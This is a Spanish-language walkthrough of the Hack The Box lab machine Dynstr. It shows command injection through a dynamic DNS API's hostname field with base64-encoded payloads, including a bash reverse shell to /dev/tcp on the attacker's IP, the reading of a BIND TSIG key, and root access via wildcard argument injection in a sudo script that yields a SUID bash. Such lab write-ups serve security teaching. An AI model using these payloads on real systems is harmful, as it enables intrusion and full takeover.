Dynstr
11 minutos de lectura
- SO: Linux
- Dificultad: Media
- Dirección IP: 10.10.10.244
- Fecha: 05 / 06 / 2021
Escaneo de puertos
# Nmap 7.92 scan initiated as: nmap -sC -sV -oN nmap/targeted 10.10.10.244 -p 22,53,80
Nmap scan report for 10.10.10.244
Host is up (0.048s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 05:7c:5e:b1:83:f9:4f:ae:2f:08:e1:33:ff:f5:83:9e (RSA)
| 256 3f:73:b4:95:72:ca:5e:33:f6:8a:8f:46:cf:43:35:b9 (ECDSA)
|_ 256 cc:0a:41:b7:a1:9a:43:da:1b:68:f5:2a:f8:2a:75:2c (ED25519)
53/tcp open domain ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.16.1-Ubuntu
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Dyna DNS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 15.92 seconds
La máquina tiene abiertos los puertos 22 (SSH), 53 (DNS) y 80 (HTTP).
Información general
Dyna DNS es una empresa que ofrece DNS dinámico a sus clientes. Como sus servicios están aún en pruebas, proporcionan dynadns:sndanyd
como credenciales para Basic HTTP Authentication en su API.
Además, dicen en su página web que la API está diseñada para aceptar peticiones similares a la API REST de no-ip.com.
De momento, constan de los siguientes dominios:
dnsalias.htb
dynamicdns.htb
no-ip.htb
Exploración del DNS
El uso de dig
puede ser útil para ver información de los dominios anteriores:
$ dig dnsalias.htb dynamicdns.htb no-ip.htb @10.10.10.244
; <<>> DiG 9.10.6 <<>> dnsalias.htb dynamicdns.htb no-ip.htb @10.10.10.244
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 53374
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;dnsalias.htb. IN A
;; AUTHORITY SECTION:
. 600 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2022071700 1800 900 604800 86400
;; Query time: 34 msec
;; SERVER: 80.58.61.250#53(80.58.61.250)
;; WHEN: Sun Jul 17 16:43:18 CEST 2022
;; MSG SIZE rcvd: 116
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 51687
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;dynamicdns.htb. IN A
;; AUTHORITY SECTION:
. 600 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2022071700 1800 900 604800 86400
;; Query time: 45 msec
;; SERVER: 80.58.61.250#53(80.58.61.250)
;; WHEN: Sun Jul 17 16:43:18 CEST 2022
;; MSG SIZE rcvd: 118
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 26451
;; flags: qr aa rd; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;no-ip.htb. IN A
;; AUTHORITY SECTION:
no-ip.htb. 60 IN SOA dns1.dyna.htb. hostmaster.dyna.htb. 2021030303 21600 3600 604800 60
;; Query time: 38 msec
;; SERVER: 10.10.10.244#53(10.10.10.244)
;; WHEN: Sun Jul 17 16:43:18 CEST 2022
;; MSG SIZE rcvd: 98
Echando un vistazo a la documentación de la API de no-ip.com, resulta sencillo generar un nuevo subdominio (usando Basic HTTP Authentication):
$ curl 'http://dynadns:sndanyd@10.10.10.244/nic/update?hostname=asdf.no-ip.htb&myip=10.10.17.44'
good 10.10.17.44
Ahora, el subdominio asdf.no-ip.htb
debería estar enlazado a la dirección 10.10.17.44:
$ dig asdf.no-ip.htb @10.10.10.244
; <<>> DiG 9.10.6 <<>> asdf.no-ip.htb @10.10.10.244
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 26185
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;asdf.no-ip.htb. IN A
;; ANSWER SECTION:
asdf.no-ip.htb. 30 IN A 10.10.17.44
;; Query time: 43 msec
;; SERVER: 10.10.10.244#53(10.10.10.244)
;; WHEN: Sun Jul 17 16:44:16 CEST 2022
;; MSG SIZE rcvd: 59
Intrusión en la máquina
El truco está en que el nombre del subdominio (asdf
en el ejemplo anterior) es el único parámetro que podemos introducir en la máquina. Entonces, podemos intentar inyectar algún comando. Como no podemos ver la respuesta del comando, podemos verificar primero que nos podemos conectar a nuestra máquina:
$ echo 'curl 10.10.17.44' | base64
Y3VybCAxMC4xMC4xNy40NAo=
$ curl 'http://dynadns:sndanyd@10.10.10.244/nic/update?hostname=`echo+Y3VybCAxMC4xMC4xNy40NAo=|base64+-d|bash`.no-ip.htb&myip=10.10.17.44'
Nótese el uso de Base64 para evitar que haya puntos que puedan confundirse con el separador de los subdominios.
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.10.10.244 - - [] "GET / HTTP/1.1" 200 -
::ffff:10.10.10.244 - - [] "GET / HTTP/1.1" 200 -
Como puede verse, obtenemos una conexión, por lo que tenemos ejecución remota de comandos (RCE), y por tanto, podemos conseguir una reverse shell:
$ echo 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
$ curl 'http://dynadns:sndanyd@10.10.10.244/nic/update?hostname=`echo+YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx|base64+-d|bash`.no-ip.htb&myip=10.10.17.44'
Y así obtenemos acceso como usuario www-data
:
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.10.244.
Ncat: Connection from 10.10.10.244:43290.
bash: cannot set terminal process group (794): Inappropriate ioctl for device
bash: no job control in this shell
www-data@dynstr:/var/www/html/nic$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@dynstr:/var/www/html/nic$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
www-data@dynstr:/var/www/html/nic$ export TERM=xterm
www-data@dynstr:/var/www/html/nic$ export SHELL=bash
www-data@dynstr:/var/www/html/nic$ stty rows 50 columns 158
Adicionalmente, podemos analizar el código fuente para ver por qué existía RCE:
www-data@dynstr:/var/www/html/nic$ ls -l
total 4
-rw-r--r-- 1 root root 0 Mar 12 19:41 index.html
-rw-r--r-- 1 root root 1110 Mar 13 19:40 update
www-data@dynstr:/var/www/html/nic$ cat update
<?php
// Check authentication
if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW'])) { echo "badauth\n"; exit; }
if ($_SERVER['PHP_AUTH_USER'].":".$_SERVER['PHP_AUTH_PW']!=='dynadns:sndanyd') { echo "badauth\n"; exit; }
// Set $myip from GET, defaulting to REMOTE_ADDR
$myip = $_SERVER['REMOTE_ADDR'];
if ($valid=filter_var($_GET['myip'],FILTER_VALIDATE_IP)) { $myip = $valid; }
if(isset($_GET['hostname'])) {
// Check for a valid domain
list($h,$d) = explode(".",$_GET['hostname'],2);
$validds = array('dnsalias.htb','dynamicdns.htb','no-ip.htb');
if(!in_array($d,$validds)) { echo "911 [wrngdom: $d]\n"; exit; }
// Update DNS entry
$cmd = sprintf("server 127.0.0.1\nzone %s\nupdate delete %s.%s\nupdate add %s.%s 30 IN A %s\nsend\n",$d,$h,$d,$h,$d,$myip);
system('echo "'.$cmd.'" | /usr/bin/nsupdate -t 1 -k /etc/bind/ddns.key',$retval);
// Return good or 911
if (!$retval) {
echo "good $myip\n";
} else {
echo "911 [nsupdate failed]\n"; exit;
}
} else {
echo "nochg $myip\n";
}
?>
Se está permitiendo que el usuario introduzca datos (variables $cmd
, $h
) en un comando de system()
sin ninguna validación, por lo que los comandos inyectados se ejecutan.
Enumeración del sistema
Existen tres usuarios relevantes a considerar:
www-data@dynstr:/var/www/html/nic$ grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
dyna:x:1000:1000:dyna,,,:/home/dyna:/bin/bash
bindmgr:x:1001:1001::/home/bindmgr:/bin/bash
Podemos listar los contenidos del directorio /home/bindmgr
:
www-data@dynstr:/tmp$ ls -la /home/bindmgr/
total 36
drwxr-xr-x 5 bindmgr bindmgr 4096 Mar 15 20:39 .
drwxr-xr-x 4 root root 4096 Mar 15 20:26 ..
lrwxrwxrwx 1 bindmgr bindmgr 9 Mar 15 20:29 .bash_history -> /dev/null
-rw-r--r-- 1 bindmgr bindmgr 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 bindmgr bindmgr 3771 Feb 25 2020 .bashrc
drwx------ 2 bindmgr bindmgr 4096 Mar 13 12:09 .cache
-rw-r--r-- 1 bindmgr bindmgr 807 Feb 25 2020 .profile
drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13 12:09 .ssh
drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13 14:53 support-case-C62796521
-r-------- 1 bindmgr bindmgr 33 Jun 19 01:58 user.txt
www-data@dynstr:/tmp$ ls -la /home/bindmgr/.ssh/
total 24
drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13 12:09 .
drwxr-xr-x 5 bindmgr bindmgr 4096 Mar 15 20:39 ..
-rw-r--r-- 1 bindmgr bindmgr 419 Mar 13 12:00 authorized_keys
-rw------- 1 bindmgr bindmgr 1823 Mar 13 11:48 id_rsa
-rw-r--r-- 1 bindmgr bindmgr 395 Mar 13 11:48 id_rsa.pub
-rw-r--r-- 1 bindmgr bindmgr 444 Mar 13 12:09 known_hosts
www-data@dynstr:/tmp$ cat /home/bindmgr/.ssh/authorized_keys
from="*.infra.dyna.htb" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF4pkc7L5EaGz6CcwSCx1BqzuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7aXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38PZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WOD bindmgr@nomen
Este usuario bindmgr
tiene un archivo authorized_keys
. Sin embargo, para conectarnos por SSH sin proporcionar contraseña necesitamos tener una clave privada y tener nuestra dirección IP asociada a un subdominio de infra.dyna.htb
.
Al usar linpeas.sh
para enumerar, reporta que existe una clave privada potencial en ~/support-case-C62796521/C62796521-debugging.script
.
Para asociar un subdominio a nuestra dirección IP, podemos intentar usar la API de antes, pero el subdominio dyna.htb
no está ofertado:
$ curl 'http://dynadns:sndanyd@10.10.10.244/nic/update?hostname=asdf.infra.dyna.htb&myip=10.10.17.44'
911 [wrngdom: infra.dyna.htb]
Encontramos que existe otra clave más en /etc/bind/infra.key
(similar a la usada en el archivo PHP anterior). Esta clave es necesaria para utilizar nsupdate
(algunos ejemplos con nsupdate
se pueden ver aquí):
www-data@dynstr:/var/www/html/nic$ cat /etc/bind/infra.key
key "infra-key" {
algorithm hmac-sha256;
secret "7qHH/eYXorN2ZNUM1dpLie5BmVstOw55LgEeacJZsao=";
};
www-data@dynstr:/var/www/html/nic$ nsupdate -k /etc/bind/infra.key
> update add asdf.infra.dyna.htb 86400 A 10.10.17.44
>
> update add 44.17.10.10.in-addr.arpa 86400 PTR asdf.infra.dyna.htb
> send
> quit
Podemos verificarlo con dig
:
$ dig asdf.infra.dyna.htb @10.10.10.244
; <<>> DiG 9.10.6 <<>> asdf.infra.dyna.htb @10.10.10.244
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 60663
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;asdf.infra.dyna.htb. IN A
;; ANSWER SECTION:
asdf.infra.dyna.htb. 86400 IN A 10.10.17.44
;; Query time: 76 msec
;; SERVER: 10.10.10.244#53(10.10.10.244)
;; WHEN: ...
;; MSG SIZE rcvd: 62
Movimiento lateral al usuario bindmgr
Y ahora podemos acceder como usuario bindmgr
.
$ ssh -i id_rsa bindmgr@10.10.10.244
bindmgr@dynstr:~$ cat user.txt
065011ea147bed677a2c49b904ef467c
Este usuario puede ejecutar un script en Bash como root
sin proporcionar contraseña:
bindmgr@dynstr:~$ sudo -l
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
Matching Defaults entries for bindmgr on dynstr:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User bindmgr may run the following commands on dynstr:
(ALL) NOPASSWD: /usr/local/bin/bindmgr.sh
bindmgr@dynstr:~$ cat /usr/local/bin/bindmgr.sh
Este es el contenido del script:
#!/usr/bin/bash
# This script generates named.conf.bindmgr to workaround the problem
# that bind/named can only include single files but no directories.
#
# It creates a named.conf.bindmgr file in /etc/bind that can be included
# from named.conf.local (or others) and will include all files from the
# directory /etc/bin/named.bindmgr.
#
# NOTE: The script is work in progress. For now bind is not including
# named.conf.bindmgr.
#
# TODO: Currently the script is only adding files to the directory but
# not deleting them. As we generate the list of files to be included
# from the source directory they won't be included anyway.
BINDMGR_CONF=/etc/bind/named.conf.bindmgr
BINDMGR_DIR=/etc/bind/named.bindmgr
indent() { sed 's/^/ /'; }
# Check versioning (.version)
echo "[+] Running $0 to stage new configuration from $PWD."
if [[ ! -f .version ]] ; then
echo "[-] ERROR: Check versioning. Exiting."
exit 42
fi
if [[ "`cat .version 2>/dev/null`" -le "`cat $BINDMGR_DIR/.version 2>/dev/null`" ]] ; then
echo "[-] ERROR: Check versioning. Exiting."
exit 43
fi
# Create config file that includes all files from named.bindmgr.
echo "[+] Creating $BINDMGR_CONF file."
printf '// Automatically generated file. Do not modify manually.\n' > $BINDMGR_CONF
for file in * ; do
printf 'include "/etc/bind/named.bindmgr/%s";\n' "$file" >> $BINDMGR_CONF
done
# Stage new version of configuration files.
echo "[+] Staging files to $BINDMGR_DIR."
cp .version * /etc/bind/named.bindmgr/
# Check generated configuration with named-checkconf.
echo "[+] Checking staged configuration."
named-checkconf $BINDMGR_CONF >/dev/null
if [[ $? -ne 0 ]] ; then
echo "[-] ERROR: The generated configuration is not valid. Please fix following errors: "
named-checkconf $BINDMGR_CONF 2>&1 | indent
exit 44
else
echo "[+] Configuration successfully staged."
# *** TODO *** Uncomment restart once we are live.
# systemctl restart bind9
if [[ $? -ne 0 ]] ; then
echo "[-] Restart of bind9 via systemctl failed. Please check logfile: "
systemctl status bind9
else
echo "[+] Restart of bind9 via systemctl succeeded."
fi
fi
Escalada de privilegios
El punto clave de este script es el siguiente:
cp .version * /etc/bind/named.bindmgr/
La idea es copiar el binario bash
a /tmp
, cambiar su modo a SUID y después utilizar cp --preserve=mode
de manera que es copiado por root
en el directorio /etc/bind/named.bindmgr
como SUID.
El uso de un wildcard (*
) nos permite crear un archivo que lleve el nombre de '--preserve=mode'
para que sea utilizado por el comando cp
, pero no como archivo sino como parámetro.
Aquí se muestra el proceso (se necesita un archivo .version
para pasar las dos primeras sentencias if
):
bindmgr@dynstr:~$ cd /tmp
bindmgr@dynstr:/tmp$ echo '2' > .version
bindmgr@dynstr:/tmp$ cp $(which bash) .
bindmgr@dynstr:/tmp$ chmod 4755 bash
bindmgr@dynstr:/tmp$ echo > --preserve=mode
bindmgr@dynstr:/tmp$ ls -la | grep bindmgr
-rwsr-xr-x 1 bindmgr bindmgr 1183448 Jul 17 16:56 bash
-rw-rw-r-- 1 bindmgr bindmgr 1 Jul 17 16:56 --preserve=mode
-rw-rw-r-- 1 bindmgr bindmgr 2 Jul 17 16:56 .version
bindmgr@dynstr:/tmp$ sudo /usr/local/bin/bindmgr.sh
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
[+] Running /usr/local/bin/bindmgr.sh to stage new configuration from /tmp.
[+] Creating /etc/bind/named.conf.bindmgr file.
[+] Staging files to /etc/bind/named.bindmgr.
cp: -r not specified; omitting directory 'systemd-private-3676061894b9497587b13254f655c27f-apache2.service-z1Nejh'
cp: -r not specified; omitting directory 'systemd-private-3676061894b9497587b13254f655c27f-systemd-logind.service-Hse6sg'
cp: -r not specified; omitting directory 'systemd-private-3676061894b9497587b13254f655c27f-systemd-resolved.service-r4Vptf'
cp: -r not specified; omitting directory 'systemd-private-3676061894b9497587b13254f655c27f-systemd-timesyncd.service-omMmHi'
cp: -r not specified; omitting directory 'vmware-root_495-2126330929'
[+] Checking staged configuration.
[-] ERROR: The generated configuration is not valid. Please fix following errors:
/etc/bind/named.bindmgr/bash:1: unknown option 'ELF...'
/etc/bind/named.bindmgr/bash:14: unknown option 'hȀE'
/etc/bind/named.bindmgr/bash:40: unknown option 'YF'
/etc/bind/named.bindmgr/bash:40: unexpected token near '}'
Y ahora tenemos bash
como binario SUID, por lo que podemos ejecutarlo como root
:
bindmgr@dynstr:/tmp$ ls -la /etc/bind/named.bindmgr/
total 1168
drwxr-sr-x 2 root bind 4096 Jul 17 16:56 .
drwxr-sr-x 3 root bind 4096 Jul 17 16:56 ..
-rwsr-xr-x 1 root bind 1183448 Jul 17 16:56 bash
-rw-rw-r-- 1 root bind 2 Jul 17 16:56 .version
bindmgr@dynstr:/tmp$ /etc/bind/named.bindmgr/bash -p
bash-5.0# cat /root/root.txt
a098dde8b9b9849be538b1de060156a2